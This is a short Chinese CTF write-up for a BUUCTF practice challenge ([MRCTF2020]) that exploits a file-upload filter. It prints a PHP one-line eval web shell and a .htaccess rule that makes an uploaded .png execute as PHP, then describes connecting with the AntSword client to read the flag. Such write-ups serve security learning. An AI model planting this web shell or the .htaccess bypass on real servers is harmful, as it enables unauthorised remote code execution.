BUUCTF在线评测-练习场-WebCTF习题[MRCTF2020]你传你[特殊字符]呢1-flag获取、解析
解题思路
打开靶场,左边是艾克,右边是诗人,下面有个文件上传按钮
结合题目,是一个文件上传漏洞,一键去世看源码可知是提交按钮,先上传个一句话木马.php试试
<?php
eval($_POST['shell']);
?>
被过滤了,更改文件后缀试试
上传成功,说明没有检测内容是否为图片,而是检测了后缀和类型,这里尝试更改其他绕过的后缀、如双写绕过、phtml绕过、php5等绕过都失败了,剩下解析漏洞是可以使用的。
创建.htaccess文件,该文件为解析文件,不可加前缀,必须是.htaccess,内容如下
<FilesMatch "eason.png">
SetHandler application/x-httpd-php
</FilesMatch>
将eason.png作为php文件来解析运行
然后将我们上传的一句话木马更改为eason.png
然后用蚁剑连接即可
比较坑的一个点是路径问题
给的路径是从根目录下的绝对路径
/var/www/html/upload/2c12c739b42851d68808dcf58e8fa253/eason.png
因此我们这里应该使用相对路径,从upload开始才能连接成功哈
http://e03373b4-086f-48bc-a53b-1146cd081dc1.node5.buuoj.cn:81/upload/2c12c739b42851d68808dcf58e8fa253/eason.png
最终在根目录下获取flag
总结
算是进阶的文件上传漏洞,通过上传解析文件,让webshell执行